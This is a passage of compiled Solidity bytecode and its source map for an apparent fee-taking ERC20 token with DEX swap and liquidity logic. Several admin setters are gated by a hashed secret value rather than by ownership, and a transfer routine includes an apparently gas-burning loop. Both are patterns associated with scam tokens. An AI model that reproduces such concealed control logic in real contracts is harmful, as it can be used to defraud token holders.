ffffffffffffffffffffffffffffffffffff166108fc606486846110349190613198565b61103e9190613167565b9081150290604051600060405180830381858888f19350505050158015611069573d6000803e3d6000fd5b5081601b8190555050505050565b60006110e2611084610b4e565b6110d46110c560026110b7601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d7c565b611d8990919063ffffffff16565b85611d8990919063ffffffff16565b611e0490919063ffffffff16565b9050919050565b601b546110f583611260565b146110ff57600080fd5b82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601b8190555050505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601b546111f683611260565b1461120057600080fd5b6064836004546112109190613198565b61121a9190613167565b600581905550600183101561122e57600080fd5b80601b81905550505050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081805190602001209050919050565b6001601a60016101000a81548160ff021916908315150217905550600081905060006112a160105460115461092f565b6112ad57600b546112b0565b60005b905060006112ee60026112e0600e546112d28688611d8990919063ffffffff16565b611e0490919063ffffffff16565b611e0490919063ffffffff16565b905060006113058285611d3f90919063ffffffff16565b90506000600267ffffffffffffffff81111561132457611323613435565b5b6040519080825280602002602001820160405280156113525781602001602082028036833780820191505090505b509050308160008151811061136a57611369613406565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561140c57600080fd5b505afa158015611420573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144491906127a7565b8160018151811061145857611457613406565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008530426040518663ffffffff1660e01b81526004016114fb959493929190612f65565b600060405180830381600087803b15801561151557600080fd5b505af1158015611529573d6000803e3d6000fd5b5050505060006115428247611d3f90919063ffffffff16565b9050600061157061155f6002600b54611e0490919063ffffffff16565b600e54611d3f90919063ffffffff16565b905060006115ac600261159e846115908c88611d8990919063ffffffff16565b611e0490919063ffffffff16565b611e0490919063ffffffff16565b905060006115d7836115c9600c5487611d8990919063ffffffff16565b611e0490919063ffffffff16565b90506000611602846115f4600d5488611d8990919063ffffffff16565b611e0490919063ffffffff16565b90506000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16836175309060405161165090612de1565b600060405180830381858888f193505050503d806000811461168e576040519150601f19603f3d011682016040523d82523d6000602084013e611693565b606091505b505090506000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683617530906040516116e390612de1565b600060405180830381858888f193505050503d8060008114611721576040519150601f19603f3d011682016040523d82523d6000602084013e611726565b606091505b505090508161176a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176190612eea565b60405180910390fd5b806117aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a190612eea565b60405180910390fd5b60008b11156118cb57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71986308e600080601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161183c96959493929190612e11565b6060604051808303818588803b15801561185557600080fd5b505af1158015611869573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061188e9190612bc7565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506858c6040516118c2929190612fbf565b60405180910390a15b505050505050505050505050506000601a60016101000a81548160ff02191690831515021790555050565b600083831115829061193e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119359190612ea8565b60405180910390fd5b506000838561194d91906131f2565b9050809150509392505050565b6000601a60019054906101000a900460ff16156119835761197c848484611e4e565b9050611d38565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a2f5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ae257600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ad8575060055482600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad59190613111565b11155b611ae157600080fd5b5b611aec8483612021565b601a60009054906101000a900460ff1615611b1e57621e848060186000828254611b169190613111565b925050819055505b611b2782612169565b611b3184836121b6565b611b3961221d565b15611b4a57611b49601754611271565b5b611bd3826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f69092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611c21856122f4565b611c2b5782611c36565b611c35858461234b565b5b9050611c8a81600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248f90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d2a9190612f4a565b60405180910390a360019150505b9392505050565b6000611d8183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118f6565b905092915050565b600080831415611d9c5760009050611dfe565b60008284611daa9190613198565b9050828482611db99190613167565b14611df9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df090612f0a565b60405180910390fd5b809150505b92915050565b6000611e4683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124ed565b905092915050565b6000611ed9826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f69092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f6e82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248f90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161200e9190612f4a565b60405180910390a3600190509392505050565b601a60009054906101000a900460ff161561216557600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061209b57506000601854826120999190613377565b145b806120b357506000601954826120b19190613377565b145b156120c45760006001905050612164565b6000600190506000600390506000600190505b818111612160576000600190505b82811161214c5760005b6103e881101561213857670de0b6b3a764000082848761210f9190613198565b6121199190613198565b6121239190613377565b945080806121309061332e565b9150506120ef565b5080806121449061332e565b9150506120e5565b5080806121589061332e565b9150506120d7565b5050505b5b5050565b601a60009054906101000a900460ff16801561219257506000601954826121909190613377565b145b156121b3576000601a60006101000a81548160ff0219169083151502179055505b50565b600654811115806122105750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61221957600080fd5b5050565b6000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415801561228a5750601a60019054906101000a900460ff16155b80156122a25750601660149054906101000a900460ff165b80156122ef5750601754600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600080612377600f54612369600e5486611d8990919063ffffffff16565b611e0490919063ffffffff16565b90506123cb81600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248f90919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161246b9190612f4a565b60405180910390a36124868184611d3f90919063ffffffff16565b91505092915050565b600080828461249e9190613111565b9050838110156124e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124da90612eca565b60405180910390fd5b8091505092915050565b60008083118290612534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252b9190612ea8565b60405180910390fd5b50600083856125439190613167565b9050809150509392505050565b600061256361255e84613028565b613003565b9050808382526020820190508285602086028201111561258657612585613469565b5b60005b858110156125b6578161259c8882612672565b845260208401935060208301925050600181019050612589565b5050509392505050565b60006125d36125ce84613054565b613003565b905080838252602082019050828560208602820111156125f6576125f5613469565b5b60005b85811015612626578161260c8882612750565b8452602084019350602083019250506001810190506125f9565b5050509392505050565b600061264361263e84613080565b613003565b90508281526020810184848401111561265f5761265e61346e565b5b61266a8482856132bb565b509392505050565b6000813590506126818161355b565b92915050565b6000815190506126968161355b565b92915050565b600082601f8301126126b1576126b0613464565b5b81356126c1848260208601612550565b91505092915050565b600082601f8301126126df576126de613464565b5b81356126ef8482602086016125c0565b91505092915050565b60008135905061270781613572565b92915050565b60008135905061271c81613589565b92915050565b600082601f83011261273757612736613464565b5b8135612747848260208601612630565b91505092915050565b60008135905061275f816135a0565b92915050565b600081519050612774816135a0565b92915050565b6000602082840312156127905761278f613478565b5b600061279e84828501612672565b91505092915050565b6000602082840312156127bd576127bc613478565b5b60006127cb84828501612687565b91505092915050565b600080604083850312156127eb576127ea613478565b5b60006127f985828601612672565b925050602061280a85828601612672565b9150509250929050565b60008060006060848603121561282d5761282c613478565b5b600061283b86828701612672565b935050602061284c86828701612672565b925050604061285d86828701612750565b9150509250925092565b6000806000806080858703121561288157612880613478565b5b600061288f87828801612672565b94505060206128a0878288016126f8565b935050604085013567ffffffffffffffff8111156128c1576128c0613473565b5b6128cd87828801612722565b92505060606128de8782880161270d565b91505092959194509250565b6000806040838503121561290157612900613478565b5b600061290f85828601612672565b925050602061292085828601612750565b9150509250929050565b6000806000806080858703121561294457612943613478565b5b600085013567ffffffffffffffff81111561296257612961613473565b5b61296e8782880161269c565b945050602085013567ffffffffffffffff81111561298f5761298e613473565b5b61299b878288016126ca565b935050604085013567ffffffffffffffff8111156129bc576129bb613473565b5b6129c887828801612722565b92505060606129d98782880161270d565b91505092959194509250565b600080600080608085870312156129ff576129fe613478565b5b6000612a0d878288016126f8565b9450506020612a1e87828801612750565b935050604085013567ffffffffffffffff811115612a3f57612a3e613473565b5b612a4b87828801612722565b9250506060612a5c8782880161270d565b91505092959194509250565b600060208284031215612a7e57612a7d613478565b5b6000612a8c84828501612750565b91505092915050565b600080600060608486031215612aae57612aad613478565b5b6000612abc86828701612750565b935050602084013567ffffffffffffffff811115612add57612adc613473565b5b612ae986828701612722565b9250506040612afa8682870161270d565b9150509250925092565b60008060408385031215612b1b57612b1a613478565b5b6000612b2985828601612750565b9250506020612b3a85828601612750565b9150509250929050565b60008060008060808587031215612b5e57612b5d613478565b5b6000612b6c87828801612750565b9450506020612b7d87828801612750565b935050604085013567ffffffffffffffff811115612b9e57612b9d613473565b5b612baa87828801612722565b9250506060612bbb8782880161270d565b91505092959194509250565b600080600060608486031215612be057612bdf613478565b5b6000612bee86828701612765565b9350506020612bff86828701612765565b9250506040612c1086828701612765565b9150509250925092565b6000612c268383612c32565b60208301905092915050565b612c3b81613226565b82525050565b612c4a81613226565b82525050565b6000612c5b826130c1565b612c6581856130e4565b9350612c70836130b1565b8060005b83811015612ca1578151612c888882612c1a565b9750612c93836130d7565b925050600181019050612c74565b5085935050505092915050565b612cb781613238565b82525050565b612cc681613285565b82525050565b612cd5816132a9565b82525050565b6000612ce6826130cc565b612cf08185613100565b9350612d008185602086016132ca565b612d098161347d565b840191505092915050565b6000612d21601b83613100565b9150612d2c8261348e565b602082019050919050565b6000612d44601e83613100565b9150612d4f826134b7565b602082019050919050565b6000612d67602183613100565b9150612d72826134e0565b604082019050919050565b6000612d8a600683613100565b9150612d958261352f565b602082019050919050565b6000612dad6000836130f5565b9150612db882613558565b600082019050919050565b612dcc8161326e565b82525050565b612ddb81613278565b82525050565b6000612dec82612da0565b9150819050919050565b6000602082019050612e0b6000830184612c41565b92915050565b600060c082019050612e266000830189612c41565b612e336020830188612dc3565b612e406040830187612ccc565b612e4d6060830186612ccc565b612e5a6080830185612c41565b612e6760a0830184612dc3565b979650505050505050565b6000602082019050612e876000830184612cae565b92915050565b6000602082019050612ea26000830184612cbd565b92915050565b60006020820190508181036000830152612ec28184612cdb565b905092915050565b60006020820190508181036000830152612ee381612d14565b9050919050565b60006020820190508181036000830152612f0381612d37565b9050919050565b60006020820190508181036000830152612f2381612d5a565b9050919050565b60006020820190508181036000830152612f4381612d7d565b9050919050565b6000602082019050612f5f6000830184612dc3565b92915050565b600060a082019050612f7a6000830188612dc3565b612f876020830187612ccc565b8181036040830152612f998186612c50565b9050612fa86060830185612c41565b612fb56080830184612dc3565b9695505050505050565b6000604082019050612fd46000830185612dc3565b612fe16020830184612dc3565b9392505050565b6000602082019050612ffd6000830184612dd2565b92915050565b600061300d61301e565b905061301982826132fd565b919050565b6000604051905090565b600067ffffffffffffffff82111561304357613042613435565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561306f5761306e613435565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561309b5761309a613435565b5b6130a48261347d565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600061311c8261326e565b91506131278361326e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561315c5761315b6133a8565b5b828201905092915050565b60006131728261326e565b915061317d8361326e565b92508261318d5761318c6133d7565b5b828204905092915050565b60006131a38261326e565b91506131ae8361326e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131e7576131e66133a8565b5b828202905092915050565b60006131fd8261326e565b91506132088361326e565b92508282101561321b5761321a6133a8565b5b828203905092915050565b60006132318261324e565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329082613297565b9050919050565b60006132a28261324e565b9050919050565b60006132b48261326e565b9050919050565b82818337600083830152505050565b60005b838110156132e85780820151818401526020810190506132cd565b838111156132f7576000848401525b50505050565b6133068261347d565b810181811067ffffffffffffffff8211171561332557613324613435565b5b80604052505050565b60006133398261326e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561336c5761336b6133a8565b5b600182019050919050565b60006133828261326e565b915061338d8361326e565b92508261339d5761339c6133d7565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f72656365697665722072656a656374656420455448207472616e736665720000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b50565b61356481613226565b811461356f57600080fd5b50565b61357b81613238565b811461358657600080fd5b50565b61359281613244565b811461359d57600080fd5b50565b6135a98161326e565b81146135b457600080fd5b5056fea2646970667358221220f2701f3958b0ff419bc8ac902262e4d61c43fb8475bcbe010a9c5ac24b6f8c5c64736f6c63430008050033

Deployed Bytecode Sourcemap

4090:12811:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5551:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6893:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7315:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16583:246;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11591:149;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6623:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7978:370;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11270:142;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2328:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6717:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14143:374;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7678:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15982:281;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16269:308;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4559:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5514:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5620:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7063:105;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2437:131;;;;;;;;;;;;;:::i;:::-;;15114:297;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4624:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6979:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6803:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5486:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7814:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14523:245;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14774:334;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11418:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15730:246;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7174:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15419:305;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5455:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5551:54;;;;:::o;6893:80::-;6941:13;6965:5;;;;;;;;;;;;;;;;;6958:12;;6893:80;:::o;7315:216::-;7390:4;7442:6;7407:11;:23;7419:10;7407:23;;;;;;;;;;;;;;;:32;7431:7;7407:32;;;;;;;;;;;;;;;:41;;;;7485:7;7464:37;;7473:10;7464:37;;;7494:6;7464:37;;;;;;:::i;:::-;;;;;;;;7519:4;7512:11;;7315:216;;;;:::o;16583:246::-;16731:11;;16711:16;16720:6;16711:8;:16::i;:::-;:31;16703:40;;;;;;16754:28;16763:18;16754:8;:28::i;:::-;16807:14;16793:11;:28;;;;16583:246;;;:::o;11591:149::-;11671:4;11726:6;11694:29;11714:8;11694:19;:29::i;:::-;:38;11687:45;;11591:149;;;;:::o;6623:88::-;6678:7;6696:12;;6689:19;;6623:88;:::o;7978:370::-;8078:4;8133:17;8098:11;:19;8110:6;8098:19;;;;;;;;;;;;;;;:31;8118:10;8098:31;;;;;;;;;;;;;;;;:52;8095:186;;8200:69;8236:6;8200:69;;;;;;;;;;;;;;;;;:11;:19;8212:6;8200:19;;;;;;;;;;;;;;;:31;8220:10;8200:31;;;;;;;;;;;;;;;;:35;;:69;;;;;:::i;:::-;8166:11;:19;8178:6;8166:19;;;;;;;;;;;;;;;:31;8186:10;8166:31;;;;;;;;;;;;;;;:103;;;;8095:186;8300:40;8314:6;8322:9;8333:6;8300:13;:40::i;:::-;8293:47;;7978:370;;;;;:::o;11270:142::-;11323:7;11350:54;11388:15;11398:4;;;;;;;;;;;11388:9;:15::i;:::-;11350:33;11367:15;11377:4;;;;;;;;;;;11367:9;:15::i;:::-;11350:12;;:16;;:33;;;;:::i;:::-;:37;;:54;;;;:::i;:::-;11343:61;;11270:142;:::o;2328:103::-;2383:4;2418:5;;;;;;;;;;;2407:16;;:7;:16;;;2400:23;;2328:103;;;:::o;6717:80::-;6769:5;4489:1;6778:16;;6717:80;:::o;14143:374::-;14317:11;;14297:16;14306:6;14297:8;:16::i;:::-;:31;14289:40;;;;;;14345:9;14340:125;14364:10;:17;14360:1;:21;14340:125;;;14402:51;14416:10;14428;14439:1;14428:13;;;;;;;;:::i;:::-;;;;;;;;14443:6;14450:1;14443:9;;;;;;;;:::i;:::-;;;;;;;;14402:13;:51::i;:::-;;14383:3;;;;;:::i;:::-;;;;14340:125;;;;14489:14;14475:11;:28;;;;14143:374;;;;:::o;7678:122::-;7733:4;7757:35;7765:7;7774:17;7757:7;:35::i;:::-;7750:42;;7678:122;;;:::o;15982:281::-;16137:11;;16117:16;16126:6;16117:8;:16::i;:::-;:31;16109:40;;;;;;16174:8;16160:11;;:22;;;;;;;;;;;;;;;;;;16209:7;16193:13;:23;;;;16241:14;16227:11;:28;;;;15982:281;;;;:::o;16269:308::-;16430:11;;16410:16;16419:6;16410:8;:16::i;:::-;:31;16402:40;;;;;;16471:7;16453:15;:25;;;;16518:12;16489:26;:41;;;;16555:14;16541:11;:28;;;;16269:308;;;;:::o;4559:58::-;;;;:::o;5514:30::-;;;;;;;;;;;;;:::o;5620:36::-;;;;:::o;7063:105::-;7129:7;7147:9;:18;7157:7;7147:18;;;;;;;;;;;;;;;;7140:25;;7063:105;;;:::o;2437:131::-;2281:19;2289:10;2281:7;:19::i;:::-;2273:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;2510:1:::1;2494:5:::0;::::1;:18;;;;;;;;;;;;;;;;;;2528:32;2557:1;2528:32;;;;;;:::i;:::-;;;;;;;;2437:131::o:0;15114:297::-;15251:11;;15231:16;15240:6;15231:8;:16::i;:::-;:31;15223:40;;;;;;15323:3;15305:13;15290:12;;:28;;;;:::i;:::-;15289:37;;;;:::i;:::-;15274:12;:52;;;;15362:1;15345:13;:18;;15337:27;;;;;;15389:14;15375:11;:28;;;;15114:297;;;:::o;4624:52::-;;;;:::o;6979:78::-;7031:7;7049:5;;;;;;;;;;;7042:12;;6979:78;:::o;6803:84::-;6853:13;6877:7;;;;;;;;;;;;;;;;;6870:14;;6803:84;:::o;5486:19::-;;;;;;;;;;;;;:::o;7814:156::-;7894:4;7918:44;7932:10;7944:9;7955:6;7918:13;:44::i;:::-;7911:51;;7814:156;;;;:::o;14523:245::-;14656:11;;14636:16;14645:6;14636:8;:16::i;:::-;:31;14628:40;;;;;;14679:42;14701:4;14708;;;;;;;;;;;14714:6;14679:13;:42::i;:::-;;14746:14;14732:11;:28;;;;14523:245;;;:::o;14774:334::-;14912:11;;14892:16;14901:6;14892:8;:16::i;:::-;:31;14884:40;;;;;;14935:17;14955:21;14935:41;;14995:20;;;;;;;;;;;14987:38;;:74;15057:3;15038:16;15026:9;:28;;;;:::i;:::-;:34;;;;:::i;:::-;14987:74;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15086:14;15072:11;:28;;;;14873:235;14774:334;;;:::o;11418:167::-;11486:7;11513:64;11554:22;:20;:22::i;:::-;11513:36;11526:22;11546:1;11526:15;11536:4;;;;;;;;;;;11526:9;:15::i;:::-;:19;;:22;;;;:::i;:::-;11513:8;:12;;:36;;;;:::i;:::-;:40;;:64;;;;:::i;:::-;11506:71;;11418:167;;;:::o;15730:246::-;15875:11;;15855:16;15864:6;15855:8;:16::i;:::-;:31;15847:40;;;;;;15920:5;15898:11;:19;15910:6;15898:19;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;15950:14;15936:11;:28;;;;15730:246;;;;:::o;7174:133::-;7258:7;7276:11;:19;7288:6;7276:19;;;;;;;;;;;;;;;:28;7296:7;7276:28;;;;;;;;;;;;;;;;7269:35;;7174:133;;;;:::o;15419:305::-;15560:11;;15540:16;15549:6;15540:8;:16::i;:::-;:31;15532:40;;;;;;15636:3;15618:13;15603:12;;:28;;;;:::i;:::-;15602:37;;;;:::i;:::-;15583:16;:56;;;;15675:1;15658:13;:18;;15650:27;;;;;;15702:14;15688:11;:28;;;;15419:305;;;:::o;5455:24::-;;;;;;;;;;;;;:::o;7539:131::-;7606:7;7649:11;7633:29;;;;;;7626:36;;7539:131;;;:::o;11748:2009::-;5889:4;5880:6;;:13;;;;;;;;;;;;;;;;;;11822:28:::1;11853:17;11822:48;;11881:27;11911:60;11927:15;;11944:26;;11911:15;:60::i;:::-;:79;;11978:12;;11911:79;;;11974:1;11911:79;11881:109;;12001:23;12027:66;12091:1;12027:59;12077:8;;12027:45;12052:19;12027:20;:24;;:45;;;;:::i;:::-;:49;;:59;;;;:::i;:::-;:63;;:66;;;;:::i;:::-;12001:92;;12104:20;12127:41;12152:15;12127:20;:24;;:41;;;;:::i;:::-;12104:64;;12181:21;12219:1;12205:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12181:40;;12250:4;12232;12237:1;12232:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;12276:6;;;;;;;;;;;:11;;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12266:4;12271:1;12266:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;12302:21;12326;12302:45;;12360:6;;;;;;;;;;;:57;;;12432:12;12459:1;12475:4;12502;12522:15;12360:188;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;12559:17;12579:40;12605:13;12579:21;:25;;:40;;;;:::i;:::-;12559:60;;12630:19;12652:33;12665:19;12682:1;12665:12;;:16;;:19;;;;:::i;:::-;12652:8;;:12;;:33;;;;:::i;:::-;12630:55;;12696:26;12725:58;12781:1;12725:51;12764:11;12725:34;12739:19;12725:9;:13;;:34;;;;:::i;:::-;:38;;:51;;;;:::i;:::-;:55;;:58;;;;:::i;:::-;12696:87;;12794:26;12823:44;12855:11;12823:27;12837:12;;12823:9;:13;;:27;;;;:::i;:::-;:31;;:44;;;;:::i;:::-;12794:73;;12878:26;12907:44;12939:11;12907:27;12921:12;;12907:9;:13;;:27;;;;:::i;:::-;:31;;:44;;;;:::i;:::-;12878:73;;12967:21;13025:20;;;;;;;;;;;13017:34;;13059:18;13084:5;13017:77;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12966:128;;;13106:21;13164:20;;;;;;;;;;;13156:34;;13198:18;13223:5;13156:77;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13105:128;;;13252:16;13244:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;13322:16;13314:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;13409:1;13391:15;:19;13388:362;;;13426:6;;;;;;;;;;;:22;;;13456:18;13502:4;13526:15;13560:1;13580::::0;13600:21:::1;;;;;;;;;;;